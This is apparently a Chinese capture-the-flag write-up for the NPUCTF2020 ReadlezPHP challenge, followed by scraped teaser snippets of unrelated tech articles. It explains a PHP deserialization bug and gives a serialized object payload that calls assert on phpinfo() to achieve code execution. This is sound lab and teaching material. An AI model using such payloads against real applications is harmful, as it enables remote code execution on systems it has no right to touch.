[NPUCTF2020]ReadlezPHP 反序列化简单反序列

news/2024/9/15 6:10:36/

题目还是挺简单的

看代码

访问一下

一看就是反序列化

看看执行主要是 echo $b($a)

那就是$b是命令 $a是参数

这里还要fuzz一下 因为system不能执行

所以我们可以使用其他命令执行 函数 例如 assert

我们看看如何构造

    public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";} 创建的时候 赋值 data(Y-m-d h:i:s)所以很明显 我们只需要将b设置为我们的命令函数a设置为参数即可
<?php
class HelloPhp
{ public $a="phpinfo()";public $b="assert";}
echo serialize(new HelloPhp());

payload

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

就是这么简单结束了


http://www.ppmy.cn/news/1115986.html

相关文章

[C++随笔录] string模拟实现

string模拟实现 基本结构天选之子构造函数析构函数拷贝构造函数 空间size()函数capacity()函数clear()函数empty()函数reverse()函数resize()函数 迭代器iteratorbegin()函数end()函数 const_iteratorbegin()函数end()函数 增push_back()函数append()函数operatorinsert()函数 …

中期科技:智慧公厕是智慧城市管理智慧化的至佳表现

智慧公厕&#xff0c;作为智慧城市建设的一部分&#xff0c;正逐渐成为城市管理的新标杆。它不仅为城市居民提供便利&#xff0c;还深刻地改善了城市管理的效率。如中期科技「智慧公厕-智慧厕所」通过运用先进的科技手段&#xff0c;智慧公厕在优化城市管理、提升城市服务、促进…

【c++_containers】string的模拟实现

前言 在学习数据结构时&#xff0c;如何证明自己彻底掌握了一个容器的各种特性&#xff1f;最直接的办法就是自己写一个。下面我们将围绕下图展开对与string的深度了解&#xff1a; 一.string的成员变量 string是表示字符序列的对象&#xff0c;同时增加了专门用于操作单字节字…

MySQL-三大日志

前言 ​ redo log&#xff1a;为了持久化数据&#xff0c;当内存中的数据还没写入到磁盘而宕机时&#xff0c;会读取该日志持久化数据到磁盘 ​ undo log&#xff1a;为了保证原子性&#xff0c;事务的操作都会记录一条相反的sql到该日志&#xff0c;出现错误就会根据该文件恢…

word-doc和docx区别

office从业者路过。 文件结构上doc文件数据是以二进制形式存放的。 docx是以xml文件形式存放的。 doc兼容较差&#xff0c;docx效果更好。

【文末赠书】SRE求职必会 —— 可观测性平台可观测性工程(Observability Engineering)

文章目录 〇、导读一、实现可观测性平台的技术要点是什么&#xff1f;二、兼容全域信号量三、所谓全域信号量有哪些&#xff1f;四、统一采集和上传工具五、统一的存储后台六、自由探索和综合使用数据七、总结★推荐阅读《可观测性工程》直播预告直播主题直播时间预约直播 视频…

Python实现机器学习(下)— 数据预处理、模型训练和模型评估

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。本门课程将介绍人工智能相关概念&#xff0c;重点讲解机器学习原理机器基本算法&#xff08;监督学习及非监督学习&#xff09;。使用python&#xff0c;结合sklearn、Pycharm进行编程&#xff0c;介绍iris&#xff08;鸢尾…

Kubernetes基础-外部访问方式NodePort/LoadBalancer/Ingress

1 概述 NodePort、LoadBalancer 和 Ingress 都是将集群外部流量导入到集群内的方式&#xff0c;只是实现方式不同。以下是三种方式的工作原理 注意&#xff1a;这里说的每一点都基于Google Kubernetes Engine。如果用 minikube 或其它工具&#xff0c;以预置型模式&#xff08…

RocketMQ 源码分析——Producer

文章目录 消息发送代码实现消息发送者启动流程检查配置获得MQ客户端实例启动实例定时任务 Producer 消息发送流程选择队列默认选择队列策略故障延迟机制策略*两种策略的选择 技术亮点:ThreadLocal 消息发送代码实现 下面是一个生产者发送消息的demo&#xff08;同步发送&#…

信息搜集-指纹识别

自存收藏链接 【安全】【信息搜集】网站篇-指纹识别 如何查看web服务器的名称和版本号 网站分析技巧&#xff0c;手工检测Web网站指纹 黑客工具之whatweb详细使用教程 渗透测试信息收集-CMS指纹识别

SpringMVC返回不带引号的字符串方案汇总

SpringMVC返回不带引号的字符串方案汇总 问题 项目使用springboot开发的&#xff0c;大部分出参为json&#xff0c;使用的fastJson。 现在有的接口需要返回一个success字符串&#xff0c;发现返回结果为“success”&#xff0c;多带了双引号。这是因为fastJson对出参做了处理…

C++--哈希表的实现及unorder_set和unorder_map的封装

1.什么是哈希表 哈希表是一种数据结构&#xff0c;用来存放数据的&#xff0c;哈希表存放的数据是无序的&#xff0c;可以实现增删查&#xff0c;当时不能修改数据。可以不经过任何比较&#xff0c;一次直接从表中得到要搜索的元素。如果构造一种存储结构&#xff0c;通过某种函…

【DETR】End-to-End Object Detection with Transformers

End-to-End Object Detection with Transformers   整个模型的主要思想是把物体检测问题看作一个集合到集合的预测问题&#xff0c;将图片切分成一个个Patches。然后进行位置编码&#xff0c;利用Transformer Encoder和Decoder进行编码和解码&#xff0c;最后使用FFN进行分类…

golang 自动生成文件头

安装koroFileHeader控件 打开首选项&#xff0c;进入设置&#xff0c;配置文件头信息"fileheader.customMade": {"Author": "lmy","Date": "Do not edit", // 文件创建时间(不变)// 文件最后编辑者"LastEditors"…

5.14 Get Log Page Command

5.14 Get Log Page command “Get Log Page”命令返回一个数据缓冲区&#xff0c;其中包含请求的日志页。 Get Log Page命令使用Data Pointer&#xff0c;DWord10, DWord11, DWord12, DWord13, DWord14这几个字段。其他命令字段是保留的。 图191和图192中定义了强制和可选的日…

Postgresql并行框架随手记

使用方法 EnterParallelMode()CreateParallelContext(“library_name”, “function_name”, nworkers) 指定并发数&#xff0c;bgworker拉起几个进程干活。 shm_toc_estimate_chunk/shm_toc_estimate_keys 评估大小写入pcxt->estimator 先评估全部要进入共享内存的大小。 …

Linux 在线解压jar包

在 CentOS 中解压 jar 包可以使用 unzip 命令。unzip 命令用于解压缩各种压缩文件&#xff0c;包括 jar 包。 以下是解压 jar 包的步骤&#xff1a; 将 jar 包下载到本地。使用 unzip 命令解压 jar 包。 # 解压 jar 包 unzip jar_file.jar例如&#xff0c;要解压 jar_file.j…

Windows10下的GTSAM因子图安装与使用

Windows10下的GTSAM因子图安装与使用 一、windows系统预安装1. windows 10安装gcc2.windows 10 安装 boost3.CMake 安装与查看4.CMake 配置boost 二、GTSAM安装与使用三、CMAKE 创建立 使用GTSAM的Visual Studio项目参考文献 一、windows系统预安装 1. windows 10安装gcc htt…

大数据分析(Python)学习笔记1(python基础快速过)

第 1 部分 基础篇 第1章 Python语言基础 1.2 语法基础&#xff08;快速过一遍&#xff09; 1.代码注释方式 注释代码有以下两种方法&#xff1a; &#xff08;1&#xff09;在一行中&#xff0c;“#”后的语句不被执行&#xff0c;表示被注释。 &#xff08;2&#xff09…

【考研数学】线性代数第五章 —— 特征值和特征向量(2,特征值与特征向量的性质)

文章目录 引言二、特征值与特征向量的性质2.1 一般性质2.2 实对称矩阵特征值与特征向量的性质 写在最后 引言 承接前文&#xff0c;了解了一些基本概念后&#xff0c;我们来继续学习有关特征值和特征向量的内容。 二、特征值与特征向量的性质 2.1 一般性质 定理 1 —— 设 …